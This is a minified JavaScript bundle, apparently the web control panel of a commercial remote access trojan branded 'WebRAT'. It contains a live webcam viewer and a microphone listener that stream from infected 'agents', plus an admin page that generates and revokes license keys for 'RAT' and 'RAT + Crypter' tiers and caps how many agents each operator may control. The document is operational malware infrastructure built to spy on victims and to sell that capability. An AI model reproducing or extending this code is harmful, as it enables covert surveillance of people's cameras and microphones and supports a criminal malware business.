0.15)"},onMouseEnter:W=>{W.currentTarget.style.background="rgba(239, 68, 68, 0.12)",W.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:W=>{W.currentTarget.style.background="rgba(239, 68, 68, 0.06)",W.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[a.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Zs(){return a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function Tm({label:e,active:t,onClick:n,icon:r}){return a.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function G2({onClick:e,title:t,children:n}){return a.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function kV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function zV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function SV(){return a.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function CV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function PV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function EV(){const{id:e}=il(),t=m.useRef(null),n=m.useRef(null),r=m.useRef(null),[i,s]=m.useState(!1),o=m.useRef(!1),[l,c]=m.useState({w:0,h:0}),u=m.useCallback((g,y,v)=>{o.current||(o.current=!0,s(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:p,disconnect:h}=kv({agentId:e||"",mode:"webcam",onFrame:u});m.useEffect(()=>{e&&p()},[e,p]),m.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=m.useCallback(async()=>{if(h(),e)try{await u6(e)}catch{}window.close()},[e,h]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),a.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&a.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&a.jsxs("div",{className:"flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function _V({agentId:e,onDisconnect:t}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0),[s,o]=m.useState(!1),[l,c]=m.useState(!1),u=m.useRef(!1),[d,f]=m.useState({chunkCount:0,sampleRate:0}),p=m.useCallback(()=>{if(n.current)return;const g=st();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{b.send(JSON.stringify({type:"auth",token:g})),o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const N=j.getUint16(0,!0),k=j.getUint8(2),z=j.getUint8(3),S=12,O=w.data.byteLength-S;if(f(K=>({chunkCount:K.chunkCount+1,sampleRate:N})),u.current)return;const A=r.current;if(!A||A.state==="closed")return;A.state==="suspended"&&A.resume();const T=O/(k/8)/z,P=A.createBuffer(z,T,N),D=new DataView(w.data,S);for(let K=0;K{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=m.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=m.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return m.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:s,isMuted:l,stats:d,connect:p,disconnect:h,toggleMute:x}}function AV(){const{id:e}=il(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:s,toggleMute:o}=_V({agentId:e||""});m.useEffect(()=>{e&&i()},[e,i]);const l=m.useCallback(async()=>{if(s(),e)try{await d6(e)}catch{}window.close()},[e,s]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),a.jsx("div",{className:"flex-1"}),a.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:a.jsxs("div",{className:"flex flex-col items-center gap-8",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:a.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&a.jsx(a.Fragment,{children:a.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&a.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const OV=4294967295;function TV(e){return e>=OV-86400}function Mm(e){return TV(e)?"Never":new Date(e*1e3).toLocaleString()}function Y2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function MV({role:e}){const t=e==="admin";return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function LV(){const[e,t]=m.useState("keys"),[n,r]=m.useState([]),[i,s]=m.useState([]),[o,l]=m.useState(!0),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState("7d"),[x,g]=m.useState("0"),[y,v]=m.useState("rat"),[b,w]=m.useState(!1),[j,N]=m.useState(""),[k,z]=m.useState(!1),[S,O]=m.useState(null),[A,T]=m.useState(null),[P,D]=m.useState("30d"),[G,R]=m.useState(!1),[K,_]=m.useState(null),[M,F]=m.useState("rat"),[U,V]=m.useState(!1),Z=m.useCallback(async()=>{try{const C=await h6();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),ae=m.useCallback(async()=>{try{const C=await g6();s(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);m.useEffect(()=>{l(!0),Promise.all([Z(),ae()]).finally(()=>l(!1))},[Z,ae]);const ue=async C=>{C.preventDefault(),w(!0),u("");try{const Y=await x6({duration:p,max_agents:parseInt(x)||0,tier:y});N(Y.key),z(!1),await Z()}catch(Y){u(Y instanceof Error?Y.message:"Failed to generate key")}finally{w(!1)}},be=async C=>{u("");try{await v6(C),O(null),await Z()}catch(Y){u(Y instanceof Error?Y.message:"Failed to revoke key")}},ye=async()=>{if(A){R(!0),u("");try{await y6(A.id,P),T(null),await ae()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{R(!1)}}},q=async()=>{if(K){V(!0),u("");try{await b6(K.id,M),_(null),await ae()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{V(!1)}}},te=()=>{navigator.clipboard.writeText(j),z(!0),setTimeout(()=>z(!1),2e3)};return a.jsxs("div",{className:"p-6 space-y-6",children:[a.jsx("div",{className:"flex items-center justify-between",children:a.jsxs("div",{children:[a.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),a.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),a.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[a.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),a.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&a.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,a.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:()=>{f(!d),N("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r + hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),a.jsx("button",{onClick:Z,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[a.jsxs("form",{onSubmit:ue,className:"space-y-3",children:[a.jsxs("div",{className:"flex items-end gap-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),a.jsx("input",{type:"text",value:p,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r + focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),a.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),a.jsxs("div",{className:"flex gap-1",children:[a.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),a.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r + hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${p===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r + text-zerin-accent break-all select-all`,children:j}),a.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors shrink-0`,children:k?"Copied!":"Copy"})]}),a.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(Y2,{status:C.status})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Mm(C.created_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Mm(C.expires_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),a.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?S===C.key_id?a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("button",{onClick:()=>be(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r + hover:bg-red-500/10 transition-colors`,children:"Confirm"}),a.jsx("button",{onClick:()=>O(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r + hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):a.jsx("button",{onClick:()=>O(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r + hover:bg-red-500/10 transition-colors`,children:"Revoke"}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):a.jsxs("div",{className:"space-y-4",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsx("button",{onClick:ae,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(MV,{role:C.role})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3",children:C.license_status?a.jsx(Y2,{status:C.license_status}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?Mm(C.license_expires_at):"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("button",{onClick:()=>{T(C),D("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r + hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),a.jsx("button",{onClick:()=>{_(C),F(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r + hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),A&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>T(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",a.jsx("span",{className:"text-zerin-accent",children:A.username})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),a.jsx("input",{type:"text",value:P,onChange:C=>D(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{onClick:()=>D(C),className:`px-2.5 py-1 text-xs 